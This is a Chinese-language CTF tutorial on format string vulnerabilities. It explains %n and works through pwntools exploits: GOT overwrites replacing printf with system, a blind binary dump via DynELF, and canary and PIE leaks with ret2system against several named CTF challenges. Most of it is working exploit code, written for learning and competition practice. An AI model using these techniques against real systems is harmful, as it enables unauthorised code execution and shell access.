PWN入门-格式化字符串漏洞

基础知识

%n

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
void main(){
int i;
char str[]="hello";
printf("%s %n\n",str,&i);
printf("%d\n",i);
};
/*
hello
6
*/

pwntools例题1

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <cstdio>
void main(void){
char str[1024];
while(true){
memset(str,'\0',1024);
read(0,str,1024);
printf(str);
fflush(stdout);
};
return 0;
};
//echo 0 > /proc/sys/kernel/randomize_va_space
//gcc -m32 -fno-stack-protector -no-pie fmtdemo.c -o fmtdemo -g

pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=process("./attachment")
elf=ELF("./attachment")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def exec_fmt(payload):
p.sendline(payload)
info=p.recv()
return info
auto=FmtStr(exec_fmt) #循环经过多次测试确定偏移
offset=auto.offset
printf_got=elf.got['printf']
payload=p32(printf_got)+'%{}$s'.format(offset).encode() #offset的常规用法,改变需打印的地址的位置时,需要增加offset
p.send(payload)
printf_addr=u32(p.recv()[4:8]) #%s的位置,即4~8
system_addr=printf_addr-(libc.symbols['printf']-libc.symbols['system'])
payload=fmtstr_payload(offset,{printf_got:system_addr}) #将printf的地址替换为system
p.send(payload)
p.send('/bin/sh') #将printf变成system后 参数仍为输入
p.recv()
p.interactive()

pwntools例题2

blind fmt,先确定偏移为7:

1
2
3
4
5
6
def exec_fmt(payload):
io.sendline(payload)
info=io.recv()
return info
auto=FmtStr(exec_fmt)
offset=auto.offset

把二进制文件dump出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def dump_memory(start_addr,end_addr):
result=""
while start_addr<end_addr:
io=remote("127.0.0.1",'10001')
io.recvline()
payload="%9$s.AAA"+p32(start_addr) #因为前面多了8字节的“%9$s.AAA”,要后推2个偏移,“.AAA”是标志
io.sendline(payload)
data=io.recvuntil(".AAA")[:-4]
if data=="":
data="\x00"
log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex')))
result+=data
start_addr+=len(data)
io.close()
return result
start_addr=0x8048000
end_addr=0x8049000
code_bin=dump_memory(start_addr,end_addr)
with open("code.bin","wb") as f:
f.write(code_bin)
f.close()

接下来想办法拿system内存地址,第一种方法泄漏printf:

1
2
3
4
5
6
7
def get_printf_addr():
io.recvline()
payload="%9$s.AAA"+p32(printf_got)
io.sendline(payload)
data=u32(io.recvuntil(".AAA")[:4])
log.info("printf address:0x%x"%data)
return data

第二种方法用DynELF泄漏:

1
2
3
4
5
6
7
8
9
def leak(addr):
io.recvline()
payload="%9$s.AAA"+p32(addr)
io.sendline(payload)
data=io.recvuntil(".AAA")[:-4]+"\x00"
log.info("leaking: 0x%x ---> %s"%(addr,data.encode('hex')))
return data
data=DynELF(leak,0x8048490) #入口点地址
system_addr=data.lookup('system','libc')

做题

[HNCTF 2022 Week1]fmtstrre

函数传参前6个用寄存器rdi、rsi、rdx、rcx、r8、r9,从第七个开始压栈,所以“%7$s”表示输出栈地址第1个位置当作字符串输出,后4个“a”用于将格式化字符串8字节对齐,看到flag只出来一半就再往前推地址。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
elf=ELF('./attachment')
p=remote("node5.anna.nssctf.cn",28285)
p.recvuntil("Input your format string.")
fmtstr=b'%7$saaaa'
name_addr=p64(elf.sym["name"]-0x20)
payload1=flat([fmtstr,name_addr])
p.sendline(payload1)
p.interactive()

[深育杯 2021]find_flag

首先前6个参数为寄存器传参,然后format数组所占空间为$\displaystyle\frac{\mathrm{0x}60-\mathrm{0x}08}{8}$字节,加起来后canary地址为第17个参数,ebp为第18个参数,return地址为第19个参数。

开了PIE保护,尝试泄漏sub_132F的返回地址,在原基址的情况下即为call sub_132F的下一条指令mov eax,0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p=remote("node4.anna.nssctf.cn",28929)
payload1="%17$p-%19$p"
p.recvuntil("Hi! What's your name? ")
p.sendline(payload1)
p.recvuntil("0x")
canary1=int(p.recv(16),16)
log.success("Canary: "+str(hex(canary1)))
p.recvuntil("0x")
elf_base=int(p.recv(12),16)-0x146f
system_addr=elf_base+0x1229
ret_addr=elf_base+0x101a
stack_overflow=cyclic(0x40-0x8)
ebp_padding=cyclic(0x8)
payload2=flat([stack_overflow,canary1,ebp_padding,ret_addr,system_addr])
p.recvuntil("Anything else? ")
p.sendline(payload2)
p.interactive()

[HUBUCTF 2022 新生赛]fmt

从flag.txt中读取,本地建一个,里面随便输入一个“flag{asdfasdfasdf}”。

第一次先随便输入一串字符串,满足一个机器字长,例如“aaaaaaaa”。

查看栈空间,发现“aaaa”地址+4即为读到的flag地址。

第二次输入“bbbbbbbb%p.%p.%p.%p.%p.%p.%p.%p.%p…”,发现最开始的“bbbbbbbb”的16字节在第8个地址,那么flag在8+4地址,即从%12$p开始。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from Crypto.Util.number import *
context(log_level='debug',os='linux',arch='amd64')
p=remote("node5.anna.nssctf.cn",28446)
flag=b''
for i in range(12,20):
p.recvuntil("Echo as a service")
p.sendline('%{}$p'.format(i))
p.recvuntil("0x")
s=p.recvuntil('\n')
flag+=long_to_bytes(int(s,16))[::-1]
print(flag)
p.interactive()

[HDCTF 2023]KEEP ON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(log_level='debug',os='linux',arch='amd64')

def exec_fmt(payload):
p=process("./attachment")
p.recvuntil("please show me your name: \n")
p.sendline(payload)
info=p.recv()
p.close()
return info
auto=FmtStr(exec_fmt)
offset=auto.offset

p=remote("node4.anna.nssctf.cn",28631)
p.recvuntil("please show me your name: \n")
elf=ELF("./attachment")
system_plt_addr=elf.plt["system"]
printf_got_addr=elf.got["printf"]
payload1=fmtstr_payload(offset,{printf_got_addr:system_plt_addr}) #GOT劫持
p.send(payload1)
stack_overflow=cyclic(0x50+8)
vuln=p64(elf.symbols["vuln"])
payload2=flat([stack_overflow,vuln])
p.recvuntil("keep on !\n")
p.send(payload2)
p.recvuntil("please show me your name: \n")
payload3=b'/bin/sh\x00'
p.send(payload3)
p.interactive()

[MoeCTF 2022]babyfmt

不知道为啥本地能打通,远程找不到偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug',os='linux',arch='i386')
p=remote("node5.anna.nssctf.cn",27082)
elf=ELF("./pwn")
def exec_fmt(payload):
p.sendline(payload)
info=p.recv()
return info
# auto=FmtStr(exec_fmt)
# offset=auto.offset
offset=11
printf_got=elf.got["printf"]
backdoor_addr=elf.symbols["backdoor"]
payload=fmtstr_payload(offset,{printf_got:backdoor_addr})
p.sendline(payload)
p.interactive()